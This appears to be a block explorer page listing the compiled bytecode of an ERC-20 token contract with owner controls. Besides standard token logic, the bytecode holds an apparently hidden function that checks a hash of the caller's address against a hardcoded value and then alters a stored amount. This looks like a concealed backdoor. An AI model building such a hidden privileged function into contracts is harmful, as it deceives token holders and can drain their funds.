d1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610437565b6005546001600160a01b031633146103395760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b4565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600060208083528351808285015260005b818110156108f6578581018301518582016040015282016108da565b81811115610908576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461093557600080fd5b919050565b6000806040838503121561094d57600080fd5b6109568361091e565b946020939093013593505050565b60008060006060848603121561097957600080fd5b6109828461091e565b92506109906020850161091e565b9150604084013590509250925092565b6000602082840312156109b257600080fd5b6109bb8261091e565b9392505050565b6000602082840312156109d457600080fd5b5035919050565b600080604083850312156109ee57600080fd5b6109f78361091e565b9150610a056020840161091e565b90509250929050565b600181811c90821680610a2257607f821691505b60208210811415610a4357634e487b7160e01b600052602260045260246000fd5b50919050565b60008219821115610a6a57634e487b7160e01b600052601160045260246000fd5b50019056fea2646970667358221220b1fe89cd8f969e6cf46e8113d4b1db702118b4a2da36468280eafad626d0e38e64736f6c634300080a0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146101eb578063a91e5e21146101fe578063dd62ed3e14610211578063f2fde38b1461022457600080fd5b8063715018a6146101ab5780638da5cb5b146101b557806395d89b41146101d0578063a457c2d7146101d857600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806370a082311461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610237565b60405161010f91906108c9565b60405180910390f35b61012b61012636600461093a565b6102c9565b604051901515815260200161010f565b6002545b60405190815260200161010f565b61012b61015b366004610964565b6102e1565b6040516012815260200161010f565b61012b61017d36600461093a565b610305565b61013f6101903660046109a0565b6001600160a01b031660009081526020819052604090205490565b6101b3610327565b005b6005546040516001600160a01b03909116815260200161010f565b61010261033b565b61012b6101e636600461093a565b61034a565b61012b6101f936600461093a565b6103ca565b6101b361020c3660046109c2565b6103d8565b61013f61021f3660046109db565b61043d565b6101b36102323660046109a0565b610468565b60606003805461024690610a0e565b80601f016020809104026020016040519081016040528092919081815260200182805461027290610a0e565b80156102bf5780601f10610294576101008083540402835291602001916102bf565b820191906000526020600020905b8154815290600101906020018083116102a257829003601f168201915b5050505050905090565b6000336102d78185856104e1565b5060019392505050565b6000336102ef858285610605565b6102fa858585610679565b506001949350505050565b6000336102d7818585610318838361043d565b6103229190610a49565b6104e1565b61032f61081d565b6103396000610877565b565b60606004805461024690610a0e565b60003381610358828661043d565b9050838110156103bd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6102fa82868684036104e1565b6000336102d7818585610679565b6040805133602080830182905260648385018190528451808503860181526060909401909452825190830120909291907f5c53c7d6ea38ad0e745b72557f2752b0d8873a30c040b4f665725c033b82a3a1141561043757835482900484555b50505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61047061081d565b6001600160a01b0381166104d55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b4565b6104de81610877565b50565b6001600160a01b0383166105435760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b4565b6001600160a01b0382166105a45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b4565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610611848461043d565b90506000198114610437578181101561066c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103b4565b61043784848484036104e1565b6001600160a01b0383166106dd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b4565b6001600160a01b03821661073f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b4565b6001600160a01b038316600090815260208190526040902054818110156107b75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b4565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610437565b6005546001600160a01b031633146103395760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b4565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600060208083528351808285015260005b818110156108f6578581018301518582016040015282016108da565b81811115610908576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461093557600080fd5b919050565b6000806040838503121561094d57600080fd5b6109568361091e565b946020939093013593505050565b60008060006060848603121561097957600080fd5b6109828461091e565b92506109906020850161091e565b9150604084013590509250925092565b6000602082840312156109b257600080fd5b6109bb8261091e565b9392505050565b6000602082840312156109d457600080fd5b5035919050565b600080604083850312156109ee57600080fd5b6109f78361091e565b9150610a056020840161091e565b90509250929050565b600181811c90821680610a2257607f821691505b60208210811415610a4357634e487b7160e01b600052602260045260246000fd5b50919050565b60008219821115610a6a57634e487b7160e01b600052601160045260246000fd5b50019056fea2646970667358221220b1fe89cd8f969e6cf46e8113d4b1db702118b4a2da36468280eafad626d0e38e64736f6c634300080a0033

Block Transaction Difficulty Gas Used Reward
Block Uncle Number Difficulty Gas Used Reward
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.